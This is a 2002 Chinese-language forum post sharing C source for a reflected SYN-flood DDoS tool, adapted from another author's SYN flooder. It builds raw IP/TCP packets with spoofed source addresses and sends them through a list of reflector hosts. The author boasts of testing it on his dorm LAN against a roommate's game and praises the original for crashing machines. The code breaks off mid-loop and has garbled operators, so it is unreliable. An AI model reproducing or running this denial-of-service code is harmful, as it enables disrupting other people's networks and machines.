反射DDOS攻擊源碼 作者:winewind 發表日期:2002-5-24 0:46:55
前幾天看到出來一個新的DDOS攻擊,叫什麼反射式的。節選一段:“一個惡意的入侵者在其他的Internet角落裏利用帶有連接請求的syn資料包對網路路由器進行洪水攻擊。這些資料包帶有虛假的IP位址,這些位址都是grc.com的。這樣以來,路由器認為這些Syn資料包是從grc.com發送來的,所以它們便對它們發送SYN/ACK資料包作為三次握手過程的第二個步。
” 我把shotgun的syn flooder改寫了一下,只改了一點點。在宿舍的局域網內試了試,有效果,但不如直接的syn flood。我不知道是否和hub的廣播與否有關。程式改的毛糙,沒做優化,效率可能低了點。只是讓被攻擊的機器很慢,還沒有死機:) 下免是根源程式,感謝shotgun!
#include #include #include #include #define SEQ 0x28376839 #define NUM 7//反射伺服器的個數 #define FAKE_IP \"192.168.0.6\" //偽裝IP的起始值,本程式的偽裝IP覆蓋一個B類網段 #define STATUS_FAILED 0xFFFF //錯誤返回值 typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位元總長度(位元組) unsigned short ident; //16位元標識 unsigned short frag_and_flags; //3位元標誌位元 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位元協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位元目的IP位址 }IP_HEADER; struct //定義TCP偽首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }psd_header; typedef struct _tcphdr //定義TCP首部 { USHORT th_sport; //16位源埠 USHORT th_dport; //16位元目的埠 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度/6位保留字 unsigned char th_flag; //6位元標誌位元 USHORT th_win; //16位元窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位元緊急資料偏移量 }TCP_HEADER; //CheckSum:計算校驗和的子函數 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum =*buffer ; size -=sizeof(USHORT);
} if(size ) { cksum = *(UCHAR*)buffer; } cksum = (cksum >> 16) (cksum & 0xffff); cksum = (cksum >>16); return (USHORT)(~cksum); } // SynFlood主函數 int main() { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0,i=0; char SendBuf[128]={0}; char RecvBuf[65535]={0};
char * Syn_dest_ip[NUM-1]; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header;
//初始反射IP列表
Syn_dest_ip[0]=\"192.168.0.99\";
Syn_dest_ip[1]=\"192.168.0.1\";
Syn_dest_ip[2]=\"192.168.0.2\";
Syn_dest_ip[3]=\"192.168.0.4\";
Syn_dest_ip[4]=\"192.168.0.5\";
Syn_dest_ip[5]=\"192.168.0.3\";
Syn_dest_ip[6]=\"192.168.0.7\";
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ fprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET){ fprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR) printf(\"Set IP_HDRINCL Error!\\n\"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR){ fprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError()); __leave;
} while(1){ for(i=0;i
補充日期: 2002-5-24 0:47:40
第一次接觸這種程式,真是沒底:)
補充日期: 2002-5-24 18:09:48
因為在宿舍局域網裏測試用的,沒什麼閘道,只能往其他幾台機器發syn包。舍友玩星際,只能讓他速度變得非常慢,還沒掉線;還是shotgun的syn flooder厲害,一用就讓對方死機:) 劉維翔